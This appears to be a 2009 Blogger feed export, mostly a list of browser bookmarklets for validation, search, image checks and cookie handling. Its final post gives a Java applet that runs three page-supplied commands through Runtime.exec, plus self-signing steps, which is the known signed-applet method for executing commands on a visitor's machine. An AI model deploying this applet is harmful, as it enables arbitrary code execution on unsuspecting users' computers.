linkEscape(s){s=s.replace(/&amp;/g,'&amp;amp;');s=s.replace(/%22/,'&amp;quot;');return s} h = '&lt;a href=%22' + linkEscape(location.href) + '%22&gt;' + htmlEscape(document.title) + '&lt;/a&gt;'; with(window.open().document){write(h+'&lt;form name=f&gt;&lt;textarea  name=a rows=5 cols=80 wrap=hard&gt;'+htmlEscape(h)+'&lt;/textarea&gt;&lt;/form&gt;'); close(); f.a.select(); } void 0" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;make link&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){var atags,i,name,a; anchs = document.anchors; for(i=0; i&lt;anchs.length; ++i) { a = anchs[i]; name = a.name; a.appendChild(document.createTextNode(%22#%22 + name)); a.style.border = %221px solid%22; a.href = %22#%22 + name; } })();" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;named anchors&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function() { var i=0; window.onerror = function(m,u,n) { window.status = %22JS Error #%22 + ++i + %22: '%22 + m + %22' %22 + (/^javascript:/(u) ? %22(bookmarklet)%22 : %22(line %22 + n + %22 of %22 + u + %22)%22); return true;/*suppress default error message*/ }})();" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;onerror status&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:window.onerror = function(m,u,n) { alert(%22JS error: %22 + m + (/^javascript:/(u) ? %22\n\n(bookmarklet)%22 : %22\n\nLine %22 + n + %22 of \n%22 + u)); return true;/*suppress default error message*/ }; void 0" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;onerror alert&lt;/A&gt;&lt;br /&gt;            &lt;HR&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){ function fixFileUrl(u) { var windows,u; windows = (navigator.platform.indexOf(%22Win%22) != -1);  /* chop off file:///, unescape each %hh, convert / to \ and | to : */  u = u.substr(windows ? 8 : 7); u = unescape(u); if(windows) { u = u.replace(/\//g,%22\\%22); u = u.replace(/\|/g,%22:%22); } return u; } /* bookmarklet body */ var loc,fileloc; loc = document.location.href; if (loc.length &gt; 9 &amp;&amp; loc.substr(0,8)==%22file:///%22) { fileloc = fixFileUrl(loc); if (prompt(%22Copy filename to clipboard, press enter, paste into validator form%22, fileloc) != null) { document.location.href = %22http://validator.w3.org/file-upload.html%22 } } else document.location.href = %22http://validator.w3.org/check?uri=%22 + escape(document.location.href); void(0); })();" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;validate html&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:location = 'http://uptime.netcraft.com/up/graph?site='+escape(location); void 0" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;netcraft&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:document.location.href = 'http://webtools.mozilla.org/web-sniffer/view.cgi?url=' + escape(document.location.href)" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;http headers&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:document.body.style.filter='gray';void(0);" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;grayscale&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){var ims=document.images, brokenCount=0, brokenURLs=%22%22, text, i; for(i=0;i&lt;ims.length;++i) if (! (ims[i].naturalHeight || ims[i].fileSize &gt; 0)) { ++brokenCount; brokenURLs += %22URL: %22 + ims[i].src + %22\n%22; }; text = brokenCount + %22 broken image%22 + (brokenCount==1?%22%22:%22s%22); if(brokenCount) alert(text + %22:\n\n%22 + brokenURLs); else alert(%22No broken images.%22); })()" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;check images&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){function toArray (c){var a, k;a=new Array;for (k=0; k &lt; c.length; ++k)a[k]=c[k];return a;}var images, img, altText;images=toArray(document.images);for (var i=0; i &lt; images.length; ++i){img=images[i];altText=document.createTextNode(img.alt);img.parentNode.replaceChild(altText, img)}})();" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;zap images&lt;/A&gt;&lt;br /&gt;            &lt;HR&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:if (location.pathname == %22/%22); else if (location.pathname.charAt(location.pathname.length-1) == %22/%22) location = %22..%22; else location = %22.%22; void 0" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;up&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:location.pathname = %22%22; void 0" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;top&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){ var e,s; IB=1; function isDigit(c) { return (%220%22 &lt;= c &amp;&amp; c &lt;= %229%22) } L = location.href; LL = L.length; for (e=LL-1; e&gt;=0; --e) if (isDigit(L.charAt(e))) { for(s=e-1; s&gt;=0; --s) if (!isDigit(L.charAt(s))) break; break; } ++s; if (e&lt;0) return; oldNum = L.substring(s,e+1); newNum = %22%22 + (parseInt(oldNum,10) + IB); while (newNum.length &lt; oldNum.length) newNum = %220%22 + newNum; location.href = L.substring(0,s) + newNum + L.slice(e+1); })();" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;increment&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){ var e,s; IB=-1; function isDigit(c) { return (%220%22 &lt;= c &amp;&amp; c &lt;= %229%22) } L = location.href; LL = L.length; for (e=LL-1; e&gt;=0; --e) if (isDigit(L.charAt(e))) { for(s=e-1; s&gt;=0; --s) if (!isDigit(L.charAt(s))) break; break; } ++s; if (e&lt;0) return; oldNum = L.substring(s,e+1); newNum = %22%22 + (parseInt(oldNum,10) + IB); while (newNum.length &lt; oldNum.length) newNum = %220%22 + newNum; location.href = L.substring(0,s) + newNum + L.slice(e+1); })();" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;decrement&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:if(!document.referrer) alert(%22No referrer!%22); else document.location = document.referrer; void 0" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;go to referrer&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:for(i=1; i&lt;=history.length; ++i) history.go(-i); void 0" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;back to first&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){var h,p; h = location.host.split('.'); p = h.length; if (h[p-1].match(/com$|net$|org$|edu$/i)) { location = 'http://www.netsol.com/cgi-bin/whois/whois?SearchType=do&amp;STRING=' + h[p-2] + '.' + h[p-1]; } else { alert('This bookmarklet can only look up owners for .com, .net, .org, and .edu domains.'); } void(0); })();" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;domain owner&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:document.body.contentEditable = 'true'; document.designMode='on'; void 0" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;edit page&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:alert('Cookies stored by this host or domain:\n\n' + document.cookie.replace(/; /g,'\n'));" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;view cookies&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:h=location.host;z=%22Bookmarklet: &lt;a href=\%22javascript:if(location.host!='%22+h+%22')location='http://%22+h;v=document;function s(c,y){v.cookie=a=c+%22; domain=%22+d+%22; path=/; expires=%22+new Date((new Date).getTime()+y*1e11).toGMTString()}C=v.cookie.split(%22; %22);d=%22..%22+h;while(d=(%22%22+d).substr(1).match(/\..*$/))for(i in C)if(c=C[i]){s(c.match(/.*=/)+C,1);q=v.cookie;q.split(%22;%22).length&gt;C.length?s(c,-1):q.match(C)?(s(c,1),z=a+%22&lt;br&gt;%22+z+%22';document.cookie='%22+a):0}v.write(z+%22';[].v\%22&gt;my %22+h+%22 cookies&lt;/a&gt;%22)" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;transfer cookies&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){C=document.cookie.split(%22; %22);for(d=%22.%22+location.host;d;d=(%22%22+d).substr(1).match(/\..*$/))for(sl=0;sl&lt;2;++sl)for(p=%22/%22+location.pathname;p;p=p.substring(0,p.lastIndexOf('/')))for(i in C)if(c=C[i]){document.cookie=c+%22; domain=%22+d.slice(sl)+%22; path=%22+p.slice(1)+%22/%22+%22; expires=%22+new Date((new Date).getTime()-1e11).toGMTString()}})()" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;zap cookies&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:location='http://translate.google.com/translate?u=' + encodeURIComponent(location);" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;google translate&lt;/A&gt;&lt;br /&gt;            &lt;HR&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){var s=%22squarefree%22,D=document,N,h,i,r;if(window.mlT!=s){mlT=s;mlL=[];for(i=0;h=D.links[i];++i)if(h.href.indexOf(s)!=-1)mlL.push(h);mlI=0}N=mlL.length;if(N){if(mlI==N)mlI=0;h=mlL[mlI++];h.onfocus=function(){return!1};h.focus();h.onfocus=null;if(D.createRange){r=D.createRange();r.selectNode(h);getSelection().addRange(r)}if(i=D.selection){r=i.createRange();r.moveToElementText(h);r.select()}top.status=s+%22: match %22+mlI+%22 of %22+N+%22: %22+h.href}else top.status=s+%22: no matching links.%22})()" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;find links to &lt;em class="replace"&gt;squarefree&lt;/em&gt;&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:location = 'http://www.google.com/search?q=link:' + escape(location);" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;google backlinks&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:location = 'http://www.alltheweb.com/search?q=link.all:' + escape(location.href) + '+site:' + escape(location.host);" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;atw internal backlinks&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:location = 'http://www.alltheweb.com/search?q=link.all:' + escape(location.href) + '+-site:' + escape(location.host);" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;atw external backlinks&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:location = 'http://www.alltheweb.com/search?q=' + escape(location.href) + '+-link.all:' + escape(location.href);" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;atw plaintext backlinks&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:location=%22http://www.google.com/search?num=100&amp;q=site:%22 + escape(location.hostname); void 0" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;google site search: all&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:location = 'http://www.alltheweb.com/search?q=%' + '2Burl.all:' + escape(location.hostname);" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;atw site search: all&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){ var x, i, p, s=0, n=0, R=/start=([^&amp;]*)/; if ((x=R.exec(location.search)) &amp;&amp; x[1]) s = n = parseInt(unescape(x[1]),10); for (i=0;p=document.getElementsByTagName(%22p%22)[i];++i) if (p.className == 'g') p.insertBefore(document.createTextNode(++n + %22. %22), p.firstChild); if (n==s) alert(%22This page doesn't contain Google search results.%22); })()" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;number google hits&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){var T={},W=[],C=0,s,i; function F(n){var i,x,a,w,t=n.tagName;if(n.nodeType==3){a=n.data.toLowerCase().split(/[\s\(\)\:\,\.;\&lt;\&gt;\&amp;\'\%22]/);for(i in a)if(w=a[i]){w=%22 %22+w;T[w]=T[w]?T[w]+1:1;++C;}}if(t!=%22SCRIPT%22&amp;&amp;t!=%22STYLE%22)for(i=0;x=n.childNodes[i];++i)F(x)}F(document);for(i in T)W.push([T[i],i]);W.sort(function(a,b){var x=b[0]-a[0];return x?x:((b[1]&lt;a[1])?1:-1)}); s=%22&lt;h3&gt;%22+C+%22 words&lt;/h3&gt;%22;for(i in W)s+=W[i][0]+%22:%22+W[i][1]+%22&lt;br&gt;%22;with(open().document){write(s);close()}})()" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;word frequency&lt;/A&gt;&lt;br /&gt;            &lt;HR&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){var D=document; D.body.normalize(); F(D.body); function F(n){var u,A,M,R,c,x; if(n.nodeType==3){ u=n.data.search(/https?\:\/\/[^\s]*[^.,;'%22&gt;\s\)\]]/); if(u&gt;=0) { M=n.splitText(u); R=M.splitText(RegExp.lastMatch.length); A=document.createElement(%22A%22); A.href=M.data; A.appendChild(M); R.parentNode.insertBefore(A,R); } }else if(n.tagName!=%22STYLE%22 &amp;&amp; n.tagName!=%22SCRIPT%22 &amp;&amp; n.tagName!=%22A%22)for(c=0;x=n.childNodes[c];++c)F(x); } })();" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;linkify&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:for (j=0; L=document.links[j]; ++j) { Q=[]; c=L.search.slice(1).split('&amp;'); for (i in c) { f=c[i].split('='); if (f[0]=='q' || f[0]=='as_q' || f[0]=='p' || f[0]=='query') if (f[1]) Q.push(f[1]) } R=unescape(Q.join('; ').replace(/\+/g,%22 %22)); if(R) { while (h=L.childNodes[0]) L.removeChild(h); L.appendChild(document.createTextNode(L.host + %22: %22 + R)); L.style.fontSize=%2290%%22; L.style.fontFamily=%22sans-serif%22; L.style.background=%22#ddd%22 } } void 0" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;query as link text&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){var s=%22squarefree%22,D=document,N,h,i,r;if(window.mlT!=s){mlT=s;mlL=[];for(i=0;h=D.links[i];++i)if(h.href.indexOf(s)!=-1)mlL.push(h);mlI=0}N=mlL.length;if(N){if(mlI==N)mlI=0;h=mlL[mlI++];h.onfocus=function(){return!1};h.focus();h.onfocus=null;if(D.createRange){r=D.createRange();r.selectNode(h);getSelection().addRange(r)}if(i=D.selection){r=i.createRange();r.moveToElementText(h);r.select()}top.status=s+%22: match %22+mlI+%22 of %22+N+%22: %22+h.href}else top.status=s+%22: no matching links.%22})()" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;find links to &lt;em class="replace"&gt;squarefree&lt;/em&gt;&lt;/A&gt;&lt;br /&gt;            &lt;HR&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:(function(){ var s = document.createElement(%22script%22); s.src = %22http://www.squarefree.com/bookmarklets/flashSeekBar.js%22; s.type=%22text/javascript%22; document.body.appendChild(s); })()" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;seek bar for IE&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:for(i=0; o=document.getElementsByTagName(%22object%22)[i]; ++i) try{F(o)}catch(e){}; for(i=0; o=document.getElementsByTagName(%22embed%22)[i]; ++i) try{F(o)}catch(e){}; function F(o){ if(o.timer){clearInterval(o.timer); o.timer=0; } if (o.IsPlaying()) o.StopPlay(); else o.Play(); }" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;pause&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:for(i=0; o=document.getElementsByTagName(%22object%22)[i]; ++i) try{F(o)}catch(e){}; for(i=0; o=document.getElementsByTagName(%22embed%22)[i]; ++i) try{F(o)}catch(e){}; function F(o){ if(o.timer){clearInterval(o.timer); o.timer=0; o.Play(); } else { o.StopPlay(); o.timer=setInterval(function(){var targ=o.CurrentFrame() - 8; if (targ&gt;0) o.GotoFrame(o.CurrentFrame() - 8); else { o.GotoFrame(0); clearInterval(o.timer); timer=0; o.Play(); } }, 30); } }" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;rewind&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:for(i=0; o=document.getElementsByTagName(%22object%22)[i]; ++i) try{F(o)}catch(e){}; for(i=0; o=document.getElementsByTagName(%22embed%22)[i]; ++i) try{F(o)}catch(e){}; function F(o){ if(o.timer){clearInterval(o.timer); o.timer=0; o.Play(); } else { o.StopPlay(); o.timer=setInterval(function(){o.GotoFrame(o.CurrentFrame() + 8); }, 30); } }" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;fast-forward&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:for(i=0; o=document.getElementsByTagName(%22object%22)[i]; ++i) try{F(o)}catch(e){}; for(i=0; o=document.getElementsByTagName(%22embed%22)[i]; ++i) try{F(o)}catch(e){}; function F(o){  o.GotoFrame(o.CurrentFrame() - 150); if(o.timer){clearInterval(o.timer); o.timer=0; } o.Play(); }" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;rewind 5s&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:for(i=0; o=document.getElementsByTagName(%22object%22)[i]; ++i) try{F(o)}catch(e){}; for(i=0; o=document.getElementsByTagName(%22embed%22)[i]; ++i) try{F(o)}catch(e){}; function F(o){ o.GotoFrame(o.CurrentFrame() + 150); if(o.timer){clearInterval(o.timer); o.timer=0; } o.Play(); }" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;forward 5s&lt;/A&gt;&lt;br /&gt;            &lt;HR&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:q = %22%22 + (window.getSelection ? window.getSelection() : document.getSelection ? document.getSelection() : document.selection.createRange().text); if (!q) q = prompt(%22You didn't select any text.  Enter a search phrase:%22, %22%22); if (q!=null) location=%22http://www.google.com/search?q=%22 + escape(q).replace(/ /g, %22+%22); void 0" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;google&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:q = %22%22 + (window.getSelection ? window.getSelection() : document.getSelection ? document.getSelection() : document.selection.createRange().text); if (!q) q = prompt(%22You didn't select any text.  Enter a search phrase:%22, %22%22); if (q!=null) location=(%22http://www.google.com/search?num=100&amp;q=site:%22 + escape(location.hostname) + %22 \%22%22 + escape(q.replace(/\%22/g,%22%22)) + %22\%22%22).replace(/ /g, %22+%22); void 0" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;google site search&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:location=%22http://www.google.com/search?num=100&amp;q=site:%22 + escape(location.hostname); void 0" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;google site search: all&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:location=(%22http://www.google.com/search?num=100&amp;q=site:%22 + escape(location.hostname) + %22 \%22%22 + escape(document.title.replace(/\%22/g,%22%22)) + %22\%22%22).replace(/ /g, %22+%22); void 0" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;google site search: title&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:N=%22num=100%22; R = /num=\d*/; if (R.exec(location.search)) location.search = location.search.replace(R, N); else location.search += %22&amp;%22 + N; void 0" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;num=100&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:N=%22num=10%22; R = /num=\d*/; if (R.exec(location.search)) location.search = location.search.replace(R, N); else location.search += %22&amp;%22 + N; void 0" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;num=10&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:N=%22num=1%22; R = /num=\d*/; if (R.exec(location.search)) location.search = location.search.replace(R, N); else location.search += %22&amp;%22 + N; void 0" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;num=1&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:N=%22filter=0%22; R = /filter=\d*/; if (R.exec(location.search)) location.search = location.search.replace(R, N); else location.search += %22&amp;%22 + N; void 0" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;filter=0&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:Q=[]; c=location.search.slice(1).split('&amp;'); for (i in c) { f=c[i].split('='); if (f[0]=='q' || f[0]=='as_q' || f[0]=='p' || f[0]=='query') if (f[1]) Q.push(f[1]) } R=unescape(Q.join('; ').replace(/\+/g,' ')); location = 'http://www.google.com/search?q=' + escape(R);" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;@google&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:Q=[]; c=location.search.slice(1).split('&amp;'); for (i in c) { f=c[i].split('='); if (f[0]=='q' || f[0]=='as_q' || f[0]=='p' || f[0]=='query') if (f[1]) Q.push(f[1]) } R=unescape(Q.join('; ').replace(/\+/g,' ')); location = 'http://www.alltheweb.com/search?q=' + escape(R);" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;@alltheweb&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:Q=[]; c=location.search.slice(1).split('&amp;'); for (i in c) { f=c[i].split('='); if (f[0]=='q' || f[0]=='as_q' || f[0]=='p' || f[0]=='query') if (f[1]) Q.push(f[1]) } R=unescape(Q.join('; ').replace(/\+/g,' ')); location = 'http://s.teoma.com/search?q=' + escape(R);" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;@teoma&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:Q=[]; c=location.search.slice(1).split('&amp;'); for (i in c) { f=c[i].split('='); if (f[0]=='q' || f[0]=='as_q' || f[0]=='p' || f[0]=='query') if (f[1]) Q.push(f[1]) } R=unescape(Q.join('; ').replace(/\+/g,' ')); location = 'http://search.msn.com/results.aspx?q=' + escape(R);" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;@msn&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:Q=[]; c=location.search.slice(1).split('&amp;'); for (i in c) { f=c[i].split('='); if (f[0]=='q' || f[0]=='as_q' || f[0]=='p' || f[0]=='query') if (f[1]) Q.push(f[1]) } R=unescape(Q.join('; ').replace(/\+/g,' ')); location = 'http://altavista.com/web/results?q=' + escape(R);" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;@altavista&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:void(location.href='http://web.archive.org/'+escape(location.href));" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;wayback newest&lt;/A&gt;&lt;br /&gt;            &lt;DT&gt;&lt;A HREF="javascript:void(location.href='http://web.archive.org/web/*/'+escape(location.href));" ADD_DATE="0" LAST_VISIT="0" LAST_MODIFIED="0"&gt;wayback search &lt;/A&gt;&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-5571661397612109247?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/5571661397612109247/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=5571661397612109247' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/5571661397612109247'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/5571661397612109247'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2009/03/bookmarklets-i.html' title='Bookmarklets for Internet Explorer'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-918897859347384559</id><published>2009-03-13T19:41:00.004-04:00</published><updated>2009-03-13T21:50:56.584-04:00</updated><title type='text'>sourcing javascript from bookmarklet</title><content type='html'>javascript:(function(){document.body.appendChild&lt;br /&gt;(document.createElement('script')).src=&lt;br /&gt;"hxxp://lab.googlepages.com/jash.js";})();&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-918897859347384559?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/918897859347384559/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=918897859347384559' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/918897859347384559'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/918897859347384559'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2009/03/sourcing-javascript-from-bookmarklets.html' title='sourcing javascript from bookmarklet'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-8640824585937593475</id><published>2009-03-08T11:55:00.004-04:00</published><updated>2009-03-08T12:02:44.293-04:00</updated><title type='text'>signing a jar file</title><content type='html'>import java.applet.*;&lt;br /&gt;import java.awt.*; &lt;br /&gt;import java.io.*;&lt;br /&gt;public class update extends Applet {&lt;br /&gt;       public void init() {&lt;br /&gt;               Process f;&lt;br /&gt;               String first = getParameter("first");&lt;br /&gt;               try{&lt;br /&gt;                       f = Runtime.getRuntime().exec(first);&lt;br /&gt;&lt;br /&gt;               }&lt;br /&gt;   catch(IOException e){&lt;br /&gt;                       e.printStackTrace();&lt;br /&gt;           }&lt;br /&gt;       Process s;&lt;br /&gt;       String second = getParameter("second");&lt;br /&gt;       try{&lt;br /&gt;           s = Runtime.getRuntime().exec(second);&lt;br /&gt;       }&lt;br /&gt;   catch(IOException e){&lt;br /&gt;                       e.printStackTrace();&lt;br /&gt;           }&lt;br /&gt;       Process t;&lt;br /&gt;       String third = getParameter("third");&lt;br /&gt;       try{&lt;br /&gt;           t = Runtime.getRuntime().exec(third);&lt;br /&gt;       }&lt;br /&gt;       catch(IOException e){&lt;br /&gt;                       e.printStackTrace();&lt;br /&gt;           }&lt;br /&gt;       }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;a. keytool -genkey -keystore myKeyStore -alias me&lt;br /&gt;b. keytool -selfcert -keystore myKeyStore -alias me&lt;br /&gt;c. jarsigner -keystore myKeyStore jarfile.jar me&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-8640824585937593475?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/8640824585937593475/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=8640824585937593475' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/8640824585937593475'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/8640824585937593475'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2009/03/signing-jar-file.html' title='signing a jar file'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' 